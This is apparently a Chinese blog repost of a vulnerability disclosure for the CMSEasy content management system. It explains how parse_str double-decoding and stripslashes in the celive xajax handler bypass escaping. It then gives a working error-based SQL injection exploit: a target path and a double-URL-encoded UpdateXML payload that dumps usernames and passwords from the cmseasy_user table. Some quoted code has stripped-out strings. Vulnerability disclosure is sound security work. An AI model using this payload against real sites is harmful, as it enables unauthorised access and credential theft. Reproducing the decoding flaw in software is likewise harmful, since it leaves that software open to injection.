php漏洞注入,cmseasy 无限制报错注入(php函数的坑)

### 简要描述:

cmseasy 无限制报错注入(可获取全站信息exp)

### 详细说明:

问题还是出在clive 上面,但是跟以往的不同的是,xjxquery 这个上面就发生了问题,看代码:

xajax.class.php:

```

if ($rootTag == "xjxquery") {

$sQuery = "";

$this->iPos++;

while (!stristr($this->aObjArray[$this->iPos], "")) {

if (stristr($this->aObjArray[$this->iPos], "") || stristr($this->aObjArray[$this->iPos], "")) {

$this->iPos++;

continue;

}

$sQuery .= $this->aObjArray[$this->iPos];

$this->iPos++;

}

parse_str($sQuery, $aArray);

if ($this->bDecodeUTF8Input) {

foreach ($aArray as $key => $value) {

$aArray[$key] = $this->_decodeUTF8Data($value);

}

}

if (get_magic_quotes_gpc() == 1) {

$newArray = array();

foreach ($aArray as $sKey => $sValue) {

if (is_string($sValue))

$newArray[$sKey] = stripslashes($sValue);

else

$newArray[$sKey] = $sValue;

}

$aArray = $newArray;

}

}

return $aArray;

}

```

问题发生在哪里了:

parse_str($sQuery, $aArray);

这个函数,本身会对url编码进行一次decode的

测试一下

```

echo $_GET['b'];

echo "

";

parse_str($_GET['b']);

echo $a;

?>

```

[1.png](https://images.seebug.org/upload/201508/26090436e3ebc6d9b0b2608c691b30b4744c8aae.png)

成立

第二处逻辑

如果gpc开启的话,它会进行一次stripslashes

```

if (get_magic_quotes_gpc() == 1) {

$newArray = array();

foreach ($aArray as $sKey => $sValue) {

if (is_string($sValue))

$newArray[$sKey] = stripslashes($sValue);

```

以往的 注册函数有两个前台可以利用:

Postdata 和 LiveMessage

看看LiveMessage:

```

function LiveMessage($a) {

global $db;

$sessionid = $_SESSION['sessionid'];

$name = addslashes(htmlspecialchars($a['name']));

$email = addslashes(htmlspecialchars($a['email']));

$country = addslashes(htmlspecialchars($a['country']));

$phone = addslashes(htmlspecialchars($a['phone']));

$departmentid = addslashes(htmlspecialchars($a['departmentid']));

$message = addslashes(htmlspecialchars($a['message']));

```

所有的参数都被addslashes

我们在看看:

Postdata

function Postdata($a) {

global $db;

$chatid = $_SESSION['chatid'];

$name = $_SESSION['name'];

$a['detail'] = htmlspecialchars($a['detail']);

if (!get_magic_quotes_gpc()) {

$a['detail'] = addslashes($a['detail']);

}

如果gpc开启的话,就不进行addslashes 好的 直接exp

发送url:

http://localhost/Cmseasy/celive/live/header.php

postdata:

xajax=Postdata&xajaxargs[0]=detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520

[2.png](https://images.seebug.org/upload/201508/2609100916fa57cd969ddf1cec6343a368635202.png)

### 漏洞证明:

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值